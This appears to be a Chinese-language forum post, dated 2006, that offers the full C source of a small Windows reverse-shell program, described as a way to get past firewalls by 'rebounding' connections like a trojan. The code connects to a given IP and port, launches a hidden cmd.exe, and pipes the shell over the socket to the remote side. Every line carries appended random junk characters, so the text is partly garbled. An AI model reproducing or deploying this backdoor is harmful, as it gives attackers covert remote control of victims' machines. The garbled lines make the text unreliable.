这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k!z.6di
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/* ============================== V"gKk$j7
Rebound port in Windows NT ?|oN}y"i
By wind,2006/7 1QhQ#`$<1
===============================*/ ]p4?nT@]
#include kwww5p ["
#include 8)s0$64Ra
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#pragma comment(lib,"wsock32.lib") $B9?>a|{A
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void OutputShell(); st.{AEv@
SOCKET sClient; (-;(wCEE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L>Ze*dt
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void main(int argc,char **argv) ~Sf'bj;(
{ u46Z}~xf b
WSADATA stWsaData; 7[L%j;)bw
int nRet; %WP[V{,F
SOCKADDR_IN stSaiClient,stSaiServer; ME)='~E
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if(argc != 3) fMHw=wJQ
{ HdY#cVxy
printf("Useage:\n\rRebound DestIP DestPort\n"); Y[VXx8"p
return; gs.+|4dv
} #5^OO ou|
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7N5M=f.DS(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2=<,#7zlJ
} nIYNeP?D
stSaiClient.sin_family = AF_INET; L*p7|rq$"
stSaiClient.sin_port = htons(0); x~IrqdmW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .4w"3>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V%t_,AT
{ 'F*OlZ!BWy
printf("Bind Socket Failed!\n"); fS8Pi,!
return; V'za,.d-
} xrlyph5mE
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stSaiServer.sin_family = AF_INET; z#n+iC$9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SEu:31k{o
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SN}3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -nD}k
{ FyXO @yF
printf("Connect Error!"); 0>;[EFL
return; 7)> L#(N
} wpNb/U
OutputShell(); p Zxx
} q+;lxR5D
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void OutputShell() A??a:8id^
{ jCx*{TO
char szBuff[1024]; VsL*&Fk
SECURITY_ATTRIBUTES stSecurityAttributes; )$pqe|,
OSVERSIONINFO stOsversionInfo; P;X0L{u0H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PVN`k, 4
STARTUPINFO stStartupInfo; tp ky
char *szShell; E=bZ4 /
PROCESS_INFORMATION stProcessInformation; n c.P
unsigned long lBytesRead; xvWP^Qkb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *uxKI:rB:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); az}zoFl
stSecurityAttributes.lpSecurityDescriptor = 0; R(}!gv}s
stSecurityAttributes.bInheritHandle = TRUE; ; d}n89DXj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;?-{Uk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D-m%eP.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UpiZd/K
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IG%x(\V-e
stStartupInfo.wShowWindow = SW_HIDE; Sl
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stStartupInfo.hStdInput = hReadPipe; FELW?Q?k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,&@FToR
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GetVersionEx(&stOsversionInfo); Kr4%D*
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switch(stOsversionInfo.dwPlatformId) -O@/S9]S)
{ 6hFs{P7
case 1: "`pg+t&
szShell = "command.com"; zR=g<e1xe
break; f8f|'v|
default: O`~L*h_
szShell = "cmd.exe"; S!iDPl~
break; c[C(3c|n
} g,RhUt9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z]OX6G
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send(sClient,szMsg,77,0); 4i29nq^n
while(1) ,M\/[_:
{ dVJ9cJ9^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lk)TK/JM)
if(lBytesRead) 1"1ElH
{ TP`"x}ACa?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K$$%j "s
send(sClient,szBuff,lBytesRead,0); S;{[];
} 9q^7%b,
else 3 "|A5>Vo
{ +:J:S"G
lBytesRead=recv(sClient,szBuff,1024,0); S!
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if(lBytesRead<=0) break; On@p5YRwW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I(9+F
} ^w*vux|F
} 8nSw7:z
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return; `ih#>i_&
}